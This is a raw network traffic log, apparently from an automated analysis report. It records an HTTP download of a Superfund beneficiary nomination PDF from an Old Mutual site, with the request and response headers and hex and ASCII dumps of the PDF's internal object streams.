Dec 22, 2024 12:16:36.491983891 CET	1.1.1.1	192.168.2.7	5558	Echo Reply

Timestamp	Bytes transferred	Direction	Data
2024-12-22 11:15:22 UTC	778	OUT	GET /v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf HTTP/1.1 Host: www.oldmutual.co.za Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-22 11:15:22 UTC	1055	IN	HTTP/1.1 200 OK Content-Type: application/pdf Content-Length: 313058 Connection: close Content-Disposition: inline; filename=Superfund_Beneficiary_Nomination_form.pdf Fastly-Io-Error: not a supported image format Fastly-Io-Served-By: vpop-etou8240196 Fastly-Stats: io=1 Server: contentstack X-Contentstack-Organization: blt2c31cdce6d24f06c X-Request-Id: 3dd79f5f402ab71f92243ac6017a1eed X-Runtime: 97ms Via: 1.1 varnish, 1.1 varnish, 1.1 2cd71488677e399021d03a5bd73b23f4.cloudfront.net (CloudFront) Cache-Control: max-age=31536000 Accept-Ranges: bytes Date: Sun, 22 Dec 2024 11:15:21 GMT X-Served-By: cache-ams21052-AMS, cache-fjr990021-FJR X-Cache-Hits: 4, 0 X-Timer: S1734866121.390944,VS0,VE1 Access-Control-Expose-Headers: content-disposition, content-type, cache-control, status, content-length Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31557600 Vary: Accept-Encoding X-Cache: Hit from cloudfront X-Amz-Cf-Pop: DXB52-P1 X-Amz-Cf-Id: YIzopysLWRsMtsfhBHCIN9bW2rUR0m9BW9xW1mjcGJ3sr8EDyo63Jg== Age: 1
2024-12-22 11:15:22 UTC	10763	IN	Data Raw: 25 50 44 46 2d 31 2e 36 0d 25 e2 e3 cf d3 0d 0a 31 31 39 36 20 30 20 6f 62 6a 0d 3c 3c 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 44 65 63 6f 64 65 2f 46 69 72 73 74 20 34 31 38 2f 4c 65 6e 67 74 68 20 33 36 38 31 2f 4e 20 34 36 2f 54 79 70 65 2f 4f 62 6a 53 74 6d 3e 3e 73 74 72 65 61 6d 0d 0a 68 de cc 5a 7b 6f 1b 39 92 ff 2a 0d dc 1f 9b e0 30 62 37 9f 4d 60 11 40 b1 9d 19 df c6 76 2e 76 2e 37 d3 10 16 6d a9 6d 37 46 52 6b 5b ad 4c 7c 9f fe 7e 45 16 65 f9 19 27 13 4c 16 86 c4 57 55 b1 aa 58 2f d2 f2 b6 cc f2 cc 5b 9f 49 6d 32 6f 5c e6 a4 45 6b b3 52 62 de 60 ae c0 d8 a9 ac c8 1d 06 ae c8 0a 53 52 47 66 32 2f a8 93 67 52 5a 09 1a 98 31 04 6c 8b 4c 5a 55 a2 e3 d0 d1 0e 1d 9b 49 e7 08 46 a1 53 16 e8 00 ab 54 0a 3b f8 4c e9 02 33 a6 cc 94 75 c4 8b c9 94 93 00 76 Data Ascii: %PDF-1.6%1196 0 obj<</Filter/FlateDecode/First 418/Length 3681/N 46/Type/ObjStm>>streamhZ{o9*0b7M`@v.v.7mm7FRk[L\|~Ee'LWUX/[Im2o\EkRb`SRGf2/gRZ1lLZUIFST;L3uv
2024-12-22 11:15:22 UTC	16384	IN	Data Raw: b1 61 20 57 41 8f 95 e5 90 0c 06 f5 58 be d0 63 39 80 46 a3 ea b1 43 f3 7a dc 4b f6 5c 8f 65 af 1e 0f 51 a6 71 f5 d8 63 7a 3d ee e5 6c f5 58 1e e9 f1 00 17 b7 51 f5 d8 61 05 3d ee c5 3a a5 c7 72 48 8f 87 78 4d 5c 3d f6 c0 5e 8f fb e7 f1 a5 1e cb 7e 3d 1e a2 d5 71 f5 d8 d1 06 3d ee a5 3d d6 63 d9 a3 c7 43 9c 2a ae 1e 3b ce a0 c7 bd 9c 5f ac c7 f2 6b e8 f1 50 54 65 5c 3d f6 51 95 c3 51 ed f4 58 be d0 e3 21 b4 a8 ef ab 2a e5 de df 6e 05 19 b2 01 1b 16 64 f5 42 90 d5 00 5b d4 17 bc 02 5b 50 e4 3e b4 e7 8a ac 7a 15 79 08 33 ee 1b 5e 2d 67 90 e4 3e d0 56 92 d5 91 24 0f 81 45 7d c9 2b 70 b5 9a dc c7 75 4a 93 d5 90 26 0f 01 c7 7d cb ab 25 0e a2 dc 3b 93 2f 45 59 f5 8b f2 00 2e 8b fb a2 57 c0 6d 55 b9 0f f7 58 95 55 8f 2a 0f 81 c6 7d d3 2b 80 b6 b2 dc 07 fa c5 b2 Data Ascii: a WAXc9FCzK\eQqcz=lXQa=:rHxM\=^~=q==cC;_kPTe\=QQX!ndB[[P>zy3^-g>V$E}+puJ&}%;/EY.WmUXU*}+
2024-12-22 11:15:23 UTC	16384	IN	Data Raw: 3b 70 4e d2 f1 9e d5 88 7b f9 2c 25 72 3f 85 58 9b b1 a7 cf e1 7b 65 0f f5 e6 13 51 06 f9 e2 ef 38 77 6b 31 6f f5 2c b0 9e ac 09 ed 98 14 03 67 80 ed 6c a3 0a 8f 82 0f 45 fc 2c 91 b8 1f fb 62 a6 6c 32 ce f6 0b 18 eb a7 e8 af 0e fd 34 ea b3 fe 0d 72 8a 37 29 c5 ba 0a cf d9 4b d5 e0 01 70 37 58 08 be 05 66 83 e9 86 9e c7 d9 32 cb 54 eb 32 d5 3a 2f ce 20 02 73 f7 d2 1c cd 54 5d 5f e9 9d 6d 6d 71 04 63 f8 21 0d e3 0f e0 de 97 78 a7 3f 09 1b 88 ef e1 7b 60 06 be 0b ec 54 6d 70 1c e7 da 49 11 0a 91 49 25 96 5f 60 cc 2e 94 43 7d 7a 07 cf 68 25 65 18 69 a3 b1 3f c9 bf 55 b3 d3 44 16 41 8f 81 8f c1 cb b0 7b 9a f8 9b c1 3c c4 33 a1 4f 83 ed 60 09 c0 13 f6 9f d4 f5 b7 b6 01 6f 17 fe 83 e0 39 f0 26 ea c6 43 67 98 75 64 31 18 a0 fb 53 fd 8e 01 1c c4 e9 36 1b c1 46 22 Data Ascii: ;pN{,%r?X{eQ8wk1o,glE,bl24r7)Kp7Xf2T2:/ sT]_mmqc!x?{`TmpII%_`.C}zh%ei?UDA{<3O`o9&Cgud1S6F"
2024-12-22 11:15:23 UTC	16384	IN	Data Raw: fd 07 2f 88 fc e3 07 ff 0a e3 13 4a a5 85 68 4e 34 17 cf e4 e7 81 05 27 ac 9d 7b c3 8f ec 4f 67 bc 31 17 76 97 eb fe c6 26 39 66 b0 16 0c d2 42 1b 5d 42 c7 64 dd d1 c4 6d 72 d6 11 9b d8 b2 5e 38 54 9f 7e 05 18 00 6c 89 17 e8 0d 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 39 30 36 20 30 20 6f 62 6a 0d 3c 3c 2f 42 42 6f 78 5b 30 20 30 20 31 34 2e 30 36 38 20 31 33 2e 33 36 36 5d 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 44 65 63 6f 64 65 2f 46 6f 72 6d 54 79 70 65 20 31 2f 4c 65 6e 67 74 68 20 34 35 2f 4d 61 74 72 69 78 5b 31 20 30 20 30 20 31 20 30 20 30 5d 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 50 72 6f 63 53 65 74 5b 2f 50 44 46 5d 3e 3e 2f 53 75 62 74 79 70 65 2f 46 6f 72 6d 2f 54 79 70 65 2f 58 4f 62 6a 65 63 74 3e 3e 73 74 72 65 61 6d 0d 0a 78 9c Data Ascii: /JhN4'{Og1v&9fB]Bdmr^8T~lendstreamendobj906 0 obj<</BBox[0 0 14.068 13.366]/Filter/FlateDecode/FormType 1/Length 45/Matrix[1 0 0 1 0 0]/Resources<</ProcSet[/PDF]>>/Subtype/Form/Type/XObject>>streamx
2024-12-22 11:15:23 UTC	14808	IN	Data Raw: 39 d6 ff 45 33 90 31 0d 33 74 e5 c3 35 c2 14 d3 88 0f e0 3f a4 57 6b 6c 93 e7 15 7e cf fb f9 42 2e 24 f9 ec 38 26 21 17 3b 9f 2f 49 9c 2b 8e ed 84 38 be e4 e2 c4 97 dc a0 49 96 8b 13 27 40 42 20 21 94 d2 71 9b 5a b5 08 b6 21 42 37 e8 56 3a 69 30 55 9b 0a 62 9a aa 51 0a d5 5a c4 a8 fa 63 93 ba 76 ed d0 90 26 ed 57 27 ad ed a4 6e ad aa a9 97 7c d9 79 df cf 76 2e b0 55 ea a4 d8 84 7c f6 79 cf 7b ce 73 9e e7 39 14 34 74 76 ed a7 d7 7c 64 24 60 28 2b 23 a4 ac a6 ac da 6e c5 f3 4a 6d 56 8b 85 51 07 88 7c 18 53 44 bf 01 3d ae b5 e8 61 e0 a9 6b 3f 3e f0 f8 9e 4a fb 23 db 76 4c 17 27 7c 5d 0b 5e ef 42 97 7f b2 f8 48 cc e1 88 35 34 f4 54 c3 44 94 8a b2 35 76 a8 35 d2 61 2a 1b ef 89 d4 bb 82 87 a3 91 43 81 c6 fa 29 79 07 4e b0 02 b5 5e 66 8d 48 02 8b d0 cb 67 a4 ff Data Ascii: 9E313t5?Wkl~B.$8&!;/I+8I'@B !qZ!B7V:i0UbQZcv&W'n\|yv.U\|y{s94tv\|d$`(+#nJmVQ\|SD=ak?>J#vL'\|]^BH54TD5v5a*C)yN^fHg
2024-12-22 11:15:23 UTC	1576	IN	Data Raw: cd af 38 77 61 fe b3 e7 c4 9c 3d ec e4 45 71 b3 a2 09 6c c3 93 10 41 b1 50 48 e8 22 81 37 d0 fd 8d d6 06 a3 0e 78 86 c6 c6 41 6c da 25 b1 fd a9 ad 2d e0 6f 6b f3 e3 c9 f6 ff b2 5f 26 c0 51 15 69 1c ff ba fb cd 8c 41 ae 70 04 c3 39 02 19 12 20 21 09 24 84 18 96 1c 03 26 40 10 01 15 08 87 a9 10 39 02 04 72 00 a9 42 96 3d 08 08 a8 b0 5a 20 e0 b2 54 50 82 ae 21 01 c1 92 5d 8e 92 2d d4 b5 ac dd 75 a1 6a d7 88 94 e0 22 88 72 4a 24 72 cc db 7f bf d7 13 1e a9 c9 25 04 36 5b cc 57 bf fa 7f 5f 77 bf 7e 7d bc 3e 66 50 6c 4a 4a ec a0 14 c2 99 15 a4 57 d2 3f d8 df a8 97 f6 25 1e 0e 61 5c 2a f9 ed 24 f6 3e 0b 29 eb df c7 78 9f 2c 43 72 3e f0 9d 7b 5f 24 27 c1 f2 a6 68 cb 9b b6 84 87 bb 82 c2 fb b9 de 0c 77 b9 22 22 5c ae 70 d4 11 c7 8a e9 50 55 1f bd d7 62 eb 19 18 57 Data Ascii: 8wa=EqlAPH"7xAl%-ok_&QiAp9 !$&@9rB=Z TP!]-uj"rJ$r%6[W_w~}>fPlJJW?%a\*$>)x,Cr>{_$'hw""\pPUbW
2024-12-22 11:15:23 UTC	16384	IN	Data Raw: a1 de 72 dc 51 37 d2 63 6c 15 75 96 d0 49 3c 2b b9 8c 7b d2 3e 22 9a 06 2a c0 71 f0 31 19 3f ec a1 1d f8 78 ac 05 a9 fb a1 85 b8 a3 96 e1 1e ec c0 ff 95 df eb 6b f8 22 7c 8f c7 90 77 0c 63 37 00 67 f2 bf 29 50 e6 89 8e d4 d6 de 16 f7 f8 16 78 e6 10 d6 4d 16 f5 94 f9 9a 13 cf bf 87 fe c8 b9 c0 78 a2 7f 4e 45 ac c5 97 3c 5a 2d 96 0c 94 60 1f 76 f2 ae 44 02 ff a1 d8 2a fd 3b 63 6d ff 1d 6d 3d 85 f5 33 13 6d f8 10 fb 6c 89 f1 bf a5 93 38 49 01 36 7c 47 e8 c3 30 f0 0c 88 00 4f 83 b1 8a 64 a9 62 2c 45 aa 32 c3 54 99 61 2a 2f 50 c2 70 f7 87 ce 52 c8 7a 72 95 c6 56 8f c5 1a 8c 47 19 da f9 a2 7e 8d 07 a1 bf 47 10 03 b1 52 af 64 05 34 8e 85 d1 53 06 9f a3 dd 09 58 db 40 84 d0 30 ed 33 b4 3f 91 ba c9 e7 e9 2c e6 74 0b 05 1b 69 63 28 8a c8 33 07 14 80 c5 26 3a 46 c0 Data Ascii: rQ7cluI<+{>"q1?xk"\|wc7g)PxMxNE<Z-`vD;cmm=3ml8I6\|G0Odb,E2Ta*/PpRzrVG~GRd4SX@03?,tic(3&:F
2024-12-22 11:15:23 UTC	16384	IN	Data Raw: 39 c0 f2 f6 5f 09 c0 38 73 64 fa 58 ed 17 b8 8d 82 91 3e 94 7d 54 bf f6 88 78 c9 07 a8 05 b5 88 4d 3b 30 e2 5a 74 5a 8e 20 52 1c 7b 90 3f 29 20 a2 0f c7 9c 76 67 21 f6 68 0d aa 8d 24 57 19 47 80 55 84 16 c4 e1 22 eb 11 88 3f 5c 6e ed 19 6d 15 3b c3 33 bd fd c7 63 63 97 fd 2d ed e7 ba 86 e3 ad a1 ce e1 99 9e de c3 91 be 53 ee 26 32 6a 72 37 db dd 06 4d 55 d3 44 7f f7 5c 5b 77 fb ee 36 7f c0 6d f7 d4 f1 ba a6 71 31 98 70 d9 4d 09 19 6f 19 70 e7 64 7d c0 20 ea 39 5c 08 90 9c 51 64 31 42 22 59 41 8b d6 32 62 fd 34 fd 09 79 67 26 7b 85 ec 63 ef 4f 43 c6 43 5b 41 7c fe 7d 78 15 96 cc c5 ba 60 15 d8 f9 3a d8 51 c0 b6 5a 7a 34 fa cb cd 03 f3 c9 a7 d3 af fe f0 85 ab e9 77 57 56 32 f8 aa b4 70 f1 ca 95 8b f4 93 ad ab 44 48 a1 61 3e 84 3c da 56 0a 71 04 46 51 00 93 Data Ascii: 9_8sdX>}TxM;0ZtZ R{?) vg!h$WGU"?\nm;3cc-S&2jr7MUD\[w6mq1pMopd} 9\Qd1B"YA2b4yg&{cOCC[A\|}x`:QZz4wWV2pDHa><VqFQ
2024-12-22 11:15:23 UTC	16384	IN	Data Raw: 61 74 72 69 78 5b 31 2e 30 20 30 2e 30 20 30 2e 30 20 31 2e 30 20 30 2e 30 20 30 2e 30 5d 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 50 72 6f 63 53 65 74 5b 2f 50 44 46 5d 3e 3e 2f 53 75 62 74 79 70 65 2f 46 6f 72 6d 2f 54 79 70 65 2f 58 4f 62 6a 65 63 74 3e 3e 73 74 72 65 61 6d 0d 0a 2f 54 78 20 42 4d 43 20 0a 45 4d 43 0a 0d 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 31 30 34 38 20 30 20 6f 62 6a 0d 3c 3c 2f 42 42 6f 78 5b 30 2e 30 20 30 2e 30 20 38 39 2e 36 34 20 31 33 2e 33 32 5d 2f 46 6f 72 6d 54 79 70 65 20 31 2f 4c 65 6e 67 74 68 20 31 33 2f 4d 61 74 72 69 78 5b 31 2e 30 20 30 2e 30 20 30 2e 30 20 31 2e 30 20 30 2e 30 20 30 2e 30 5d 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 50 72 6f 63 53 65 74 5b 2f 50 44 46 5d 3e 3e 2f 53 75 62 74 79 70 65 2f 46 Data Ascii: atrix[1.0 0.0 0.0 1.0 0.0 0.0]/Resources<</ProcSet[/PDF]>>/Subtype/Form/Type/XObject>>stream/Tx BMC EMCendstreamendobj1048 0 obj<</BBox[0.0 0.0 89.64 13.32]/FormType 1/Length 13/Matrix[1.0 0.0 0.0 1.0 0.0 0.0]/Resources<</ProcSet[/PDF]>>/Subtype/F
2024-12-22 11:15:23 UTC	16384	IN	Data Raw: 65 6e 64 6f 62 6a 0d 31 31 33 38 20 30 20 6f 62 6a 0d 3c 3c 2f 42 42 6f 78 5b 30 2e 30 20 30 2e 30 20 35 31 2e 30 20 31 31 2e 36 34 5d 2f 46 6f 72 6d 54 79 70 65 20 31 2f 4c 65 6e 67 74 68 20 31 33 2f 4d 61 74 72 69 78 5b 31 2e 30 20 30 2e 30 20 30 2e 30 20 31 2e 30 20 30 2e 30 20 30 2e 30 5d 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 50 72 6f 63 53 65 74 5b 2f 50 44 46 5d 3e 3e 2f 53 75 62 74 79 70 65 2f 46 6f 72 6d 2f 54 79 70 65 2f 58 4f 62 6a 65 63 74 3e 3e 73 74 72 65 61 6d 0d 0a 2f 54 78 20 42 4d 43 20 0a 45 4d 43 0a 0d 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 31 31 33 39 20 30 20 6f 62 6a 0d 3c 3c 2f 42 42 6f 78 5b 30 2e 30 20 30 2e 30 20 36 39 2e 37 32 20 31 31 2e 36 34 5d 2f 46 6f 72 6d 54 79 70 65 20 31 2f 4c 65 6e 67 74 68 20 31 33 2f 4d Data Ascii: endobj1138 0 obj<</BBox[0.0 0.0 51.0 11.64]/FormType 1/Length 13/Matrix[1.0 0.0 0.0 1.0 0.0 0.0]/Resources<</ProcSet[/PDF]>>/Subtype/Form/Type/XObject>>stream/Tx BMC EMCendstreamendobj1139 0 obj<</BBox[0.0 0.0 69.72 11.64]/FormType 1/Length 13/M